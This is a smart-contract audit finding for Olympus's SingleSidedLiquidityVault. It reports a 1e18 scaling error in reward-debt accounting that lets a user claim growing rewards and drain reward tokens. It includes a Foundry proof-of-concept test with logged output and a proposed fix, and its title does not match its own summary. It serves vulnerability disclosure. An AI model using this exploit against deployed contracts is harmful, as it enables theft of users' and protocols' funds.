nobody2018

high

# Issue : User's rewards will be locked for a period of time

## Summary
Due to miscalculating UserRewardDebts[user_][rewardToken.token], users will get more rewards each time they call claimRewards than the last time. As time goes by, user can take away all rewardToken in contract.
## Vulnerability Detail
Let's look at how to calculate **UserRewardDebts[user_][rewardToken.token]**. [[code snippet](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L623-L634)]

```solidity
function _claimInternalRewards(uint256 id_) internal {
        address rewardToken = internalRewardTokens[id_].token;
        uint256 reward = internalRewardsForToken(id_, msg.sender);
        uint256 fee = (reward * FEE) / PRECISION;

        userRewardDebts[msg.sender][rewardToken] += reward;	//here
        accumulatedFees[rewardToken] += fee;

        if (reward > 0) ERC20(rewardToken).safeTransfer(msg.sender, reward - fee);

        emit RewardsClaimed(msg.sender, rewardToken, reward - fee);
    }
```

**reward** is the value divided by 1e18 from [[the following code](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L354-L372)]:

```solidity
function internalRewardsForToken(uint256 id_, address user_) public view returns (uint256) {
        InternalRewardToken memory rewardToken = internalRewardTokens[id_];
        uint256 lastRewardTime = rewardToken.lastRewardTime;
        uint256 accumulatedRewardsPerShare = rewardToken.accumulatedRewardsPerShare;

        if (block.timestamp > lastRewardTime && totalLP != 0) {
            uint256 timeDiff = block.timestamp - lastRewardTime;
            uint256 totalRewards = timeDiff * rewardToken.rewardsPerSecond;

            // This correctly uses 1e18 because the LP tokens of all major DEXs have 18 decimals
            accumulatedRewardsPerShare += (totalRewards * 1e18) / totalLP;
        }

        // This correctly uses 1e18 because the LP tokens of all major DEXs have 18 decimals
        uint256 totalAccumulatedRewards = (lpPositions[user_] * accumulatedRewardsPerShare) -
            userRewardDebts[user_][rewardToken.token];	

        return (cachedUserRewards[user_][rewardToken.token] + totalAccumulatedRewards) / 1e18;	// here divided by 1e18
    }
```
**totalAccumulatedRewards** will be larger than the last time as **userRewardDebts[user_][rewardToken.token]** is a value divided by 1e18.
## Impact
This exploitation does not require any skills, user can easily exploit this vulnerability for draining all rewardToken.
## Code Snippet
I wrote poc in bottom of **WstethLiquidityVaultFork.t.sol** file.

```solidity
function testMiscalculatingRewards() public {
        // Setup
        vm.prank(bob);
        liquidityVault.deposit(2*WSTETH_AMOUNT, 0);
        vm.prank(alice);
        liquidityVault.deposit(1e17, 0);    //0.1 eth
        
        vm.warp(block.timestamp + 1); // Increase time 1 seconds so there are rewards
        // Verify initial state
        assertEq(ldo.balanceOf(alice), 0);
        assertEq(reward2.balanceOf(alice), 0);
        assertEq(externalReward.balanceOf(alice), 0);

        for(uint256 i = 0; i < 5; i++) {
            vm.prank(alice);
            liquidityVault.claimRewards();
            emit log_named_uint("i=", i + 1);
            emit log_named_decimal_uint("     ldo bal=", ldo.balanceOf(alice), 18);
            emit log_named_decimal_uint("external bal=", externalReward.balanceOf(alice), 18);

            vm.warp(block.timestamp + 1);   // Increase time 1 seconds so there are rewards
        }
    }
    
/* output
[PASS] testMiscalculatingRewards() (gas: 1469380)
Logs:
  i=: 1
       ldo bal=: 0.047619047618240215	//	0.04  first time
  external bal=: 0.047619047618240215	
  i=: 2
       ldo bal=: 0.142857142854720648	//	+ 0.10 than first time
  external bal=: 0.142857142854720646
  i=: 3
       ldo bal=: 0.285714285709441300	//	+ 0.14 than second time
  external bal=: 0.285714285709441292
  i=: 4
       ldo bal=: 0.476190476182402170	//	+ 0.19 than third time
  external bal=: 0.476190476182402154
  i=: 5
       ldo bal=: 0.714285714273603255	//	+ 0.24 than fourth time
  external bal=: 0.714285714273603231

Test result: ok. 1 passed; 0 failed; finished in 36.91s
*/
```
## Tool used

Manual Review

## Recommendation
Calculating userRewardDebts[msg.sender][rewardToken.token] should be fixed inside [[_claimExternalRewards](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L641)]

Calculating userRewardDebts[msg.sender][rewardToken.token] should be fixed inside [[_claimInternalRewards](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L628)]

```solidity
function _claimInternalRewards(uint256 id_) internal {
        address rewardToken = internalRewardTokens[id_].token;
        uint256 reward = internalRewardsForToken(id_, msg.sender);
        uint256 fee = (reward * FEE) / PRECISION;

        userRewardDebts[msg.sender][rewardToken] += reward * 1e18;	//here
        accumulatedFees[rewardToken] += fee;

        if (reward > 0) ERC20(rewardToken).safeTransfer(msg.sender, reward - fee);

        emit RewardsClaimed(msg.sender, rewardToken, reward - fee);
    }

    function _claimExternalRewards(uint256 id_) internal {
        ExternalRewardToken storage rewardToken = externalRewardTokens[id_];
        uint256 reward = externalRewardsForToken(id_, msg.sender);
        uint256 fee = (reward * FEE) / PRECISION;

        userRewardDebts[msg.sender][rewardToken.token] += reward * 1e18;	//here
        accumulatedFees[rewardToken.token] += fee;

        if (reward > 0) ERC20(rewardToken.token).safeTransfer(msg.sender, reward - fee);
        rewardToken.lastBalance = ERC20(rewardToken.token).balanceOf(address(this));

        emit RewardsClaimed(msg.sender, rewardToken.token, reward - fee);
    }
```